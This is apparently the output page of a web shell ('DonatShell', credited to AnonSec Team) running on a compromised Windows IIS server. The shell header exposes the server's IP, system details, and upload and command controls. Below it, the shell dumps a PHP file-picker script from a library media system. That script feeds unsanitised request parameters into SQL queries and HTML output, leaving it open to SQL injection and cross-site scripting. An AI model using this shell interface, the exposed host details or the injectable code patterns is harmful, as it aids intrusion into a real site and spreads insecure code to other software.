DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/login.upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/login.upload/picker.php
<?
include("../inc/config.inc.php");
	 head();
	 include("_REQPERM.php");
	 mn_lib();



$pathinf=tmq("select * from pickerpath where id='$pathid' ");
if (tmq_num_rows($pathinf)!=1) {
	die("pickerpath where id='$pathid' ");
}
$pathinf=tmq_fetch_array($pathinf);
$xx1master=$pathinf[path];

if ($forceaddall!="") {
	$forceaddall_orig=$forceaddall;
	$forceaddall=str_replace('..','',$forceaddall);
	$forceaddall=trim($forceaddall,'/');
	$forceaddall=trim($forceaddall,'\\');
	$forceaddall=$pathinf[path]."/".$forceaddall;

	$xx3 = opendir($forceaddall);    //opens selected path
//echo "$forceaddall/";
	$i=0;
	while (false !== ($xx5 = readdir ($xx3))) {
		if (is_file($forceaddall . "/" . $xx5)) {
			if ($xx5=="Thumbs.db" ) { 
				continue;
			}
			$xx5=addslashes($xx5);
			$i++;
			$setdef_url=addslashes($pathinf[url]."/".$forceaddall_orig."/".$xx5);;
			$s="insert into media_ftitems set
			mid='$mid',
			uploadtype='url',
			text='$xx5',
			filename='$setdef_url'			
			";
			tmq($s);
		}
	}
	?><SCRIPT LANGUAGE="JavaScript">
	<!--
		alert("added <? echo $i;?> records;");
	self.location="index.php?mid=<?echo $mid; ?>"
	//-->
	</SCRIPT><?
	die;
}
//printr($pathinf);
//$xx1="";$xx1master;


//set paths, read paths
/*if (substr($xx1, strlen($xx1)-1, 1)=="/") {
	$xx1=substr($xx1,0,strlen($xx1)-1);
}
*/
$currentpath=str_replace('..','',$currentpath);
$currentpath=trim($currentpath,'/');
$currentpath=trim($currentpath,'\\');
$currentpath=$pathinf[path]."/".$xx1;

/*if ($navigation==1) {
	$currentpath=$pathinf[path]."/".$xx2;
}
*/
$parentsubdir=substr($currentpath, 0, strrpos($currentpath, "/"));    //this is the path up one level
$parentsubdir=str_replace($xx1master,'',$parentsubdir);
$parentsubdir=trim($parentsubdir,'/');
$parentsubdir=trim($parentsubdir,'\\');

$xx3 = opendir($currentpath);    //opens selected path
$ifile=0;
$ifolder=0;
while (false !== ($xx5 = readdir ($xx3))) {
	if (is_dir($currentpath . "/" . $xx5) && $xx5 != "."&& $xx5 != "..") {
		$folders[$ifolder]=$currentpath . "/" . $xx5;
		$folders[$ifolder]=str_replace($xx1master,'',$folders[$ifolder]);
		$folders[$ifolder]=trim($folders[$ifolder],'/');
		$folders[$ifolder]=trim($folders[$ifolder],'\\');
		//$folders[$ifolder]=$xx5;
		$foldersname[$ifolder]=$xx5;
		$ifolder++;
	}
	if (is_file($currentpath . "/" . $xx5)) {
		$files[$ifile]=$xx1master . "/" . $xx5;
		$filesname[$ifile]= $xx5;
		$ifile++;
	}
}
@reset($folders);
@reset($files);
@reset($filesname);
//printr($folders);
?>

<TABLE width=780 align=center class=table_border>
<TR>
	<TD class=table_head><? echo getlang("เพิ่มไฟล์ให้::l::Add file to"); ?></TD>
	<TD class=table_td><? echo marc_gettitle($mid);?></TD>
</TR>

<TR>
	<TD class=table_td colspan=2 align=center>
	<A HREF="../login.metadata/"><? echo getlang("กลับไปฐานข้อมูล::l::Back to database");?> </A>
	::
	<A HREF="index.php?mid=<? echo $mid?>"><? echo getlang("จัดการไฟล์ของรายการนี้::l::Back to files of this records");?></A>
	</TD>
</TR>
<TR>
	<TD class=table_td colspan=2 align=center><? echo getlang("กรุณาเลือกไฟล์::l::Please choose a file you want");?></TD>
</TR>
</TABLE>
<BR>

<TABLE width=780 align=center class=table_border>
<TR>
	<TD class=table_head><? echo getlang("ที่เก็บไฟล์::l::File path"); ?></TD>
	<TD class=table_td><? echo getlang($pathinf[name]);?></TD>
</TR>
<TR>
	<TD class=table_head width=50%><? echo getlang("โฟลเดอร์ปัจจุบัน::l::Current Path"); ?>:</TD>
	<TD class=table_td> <?php echo $xx1; ?></TD>
</TR>
</TABLE>
<table border=0 width=780 align=center class=table_border>
<tr >
	<td style="border-width:0px;border-bottom-width: 1; border-style: solid; border-color: gray;"> <b><? echo getlang("โฟลเดอร์::l::Folder"); ?>:</b> </td>
	<td  style="border-width:0px;border-bottom-width: 1; border-style: solid; border-color: gray; border-left-width: 1"> <b><? echo getlang("คลิกเลือกไฟล์ที่นี่::l::Choose file here"); ?></b> </td>
</tr>

<tr><td valign="top">
<B>
<?php

//display folders
for ($xx8=0; $xx8<count($folders); $xx8++) {
		echo "<a href='picker.php?mid=$mid&pathid=$pathid&xx1=".$folders[$xx8]."'> <IMG SRC='../neoimg/folder.png' WIDTH=16 HEIGHT=16 BORDER=0 align=absmiddle> " . $foldersname[$xx8] . "</a><br>";
}
?></B><?
if ($xx1!='') {
	echo "<BR><a href='picker.php?mid=$mid&pathid=$pathid&xx1=$parentsubdir' ><IMG SRC='../neoimg/undo16.png' WIDTH=16 HEIGHT=16 BORDER=0 align=absmiddle> ".getlang("ขึ้น 1 ระดับ::l::Up 1 level")."</a>";
}
?>

</td>


<td valign="top"   style="border-width: 0px; border-style: solid; border-color: gray; border-left-width: 1px;">


<?php
//calculate size of window

for ($xx10=0; $xx10<count($files); $xx10++) {
	$fil =$files[$xx10];

	$filename=$filesname[$xx10];
	$setdef_url=$pathinf[url]."/".$xx1."/".$filename;
	if ($filename=="Thumbs.db" ) { 
		continue;
	}
	
	echo "<a href=\"index.php?fftmode=add&mid=$mid&setdef_url=$setdef_url&setdef_name=$filename\"> <IMG SRC='../neoimg/file16.png' WIDTH=16 HEIGHT=16 BORDER=0 align=absmiddle> 
	" ;
	echo " " . $filename . "</a> <BR>";

}
if (count($files)>=2) {
	echo "<BR><a href='picker.php?mid=$mid&pathid=$pathid&forceaddall=$xx1' onclick=\"return confirm('add all file?');\"><IMG SRC='../neoimg/file16.png' WIDTH=16 HEIGHT=16 BORDER=0 align=absmiddle> ".getlang("เพิ่มทั้งหมด::l::Add all")."</a>";
}
?>


</td></tr></table>

<!-- form pick files&folders -->


<form name="forwardlink" action="<?php $PHP_SELF ?>" method = "post">
	<input type="hidden" name="xx2" value="<?php echo $xx2; ?>">
	<input type="hidden" name="mid" value="<?php echo $mid; ?>">
	<input type="hidden" name="pathid" value="<?php echo $pathid; ?>">
	<input type="hidden" name="navigation" value="1">
</form>
<?
foot();
?>

Anon7 - 2022
AnonSec Team